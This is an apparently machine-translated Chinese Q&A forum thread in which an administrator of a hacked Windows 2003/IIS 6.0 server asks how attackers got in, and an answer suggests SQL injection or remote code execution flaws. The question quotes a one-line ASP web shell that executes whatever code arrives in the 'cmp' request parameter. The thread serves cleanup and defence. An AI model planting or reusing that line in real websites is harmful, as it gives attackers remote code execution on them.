我認爲我被黑客入侵併尋求建議

Question

我的一位客戶在谷歌搜索結果中注意到一條消息，稱他們的網站可能已被黑客入侵。經過一番挖掘，我發現服務器上包含seo垃圾和JavaScript引用的html文件。我刪除這些文件，更改密碼CMS，更新一樣CKFinder等一些部件...

然後我就開始尋找到服務器上的其他網站，發現噸的.asp文件與該行

<%If Request("cmp")<>"" Then Execute(Request("cmp"))%>nofoundfile 

我已經刪除了那些，但不知道他們是如何到達那裏的。我已經瀏覽了各種日誌（事件查看器，網站，ftp），但大多數文件創建後的時間不夠長。

我已經更新了操作系統，這隻有一兩個過時的時間，並且改變了ftp訪問。

我還能做些什麼來找到入口點或確保我的服務器和網站安全嗎？

BTW：這是運行IIS 6.0的Windows 2003服務器。

Answer 1

他們可能有多種方式訪問​​您的服務器。

您是否運行常見的CMS或自定義？ 他們可能在您的某個腳本中找到了漏洞。

例如，如果他們發現SQL注入漏洞，他們可以檢索數據庫信息。 如果他們在哪裏可以找到RCE錯誤（遠程代碼執行），他們可能已經能夠執行導致創建這些任意文件的系統命令。

除此之外，還有已經在本週打補丁的Windows Server的幾個漏洞，看看這個鏈接： http://blog.spiderlabs.com/2014/02/microsoft-patch-tuesday-february-2014.html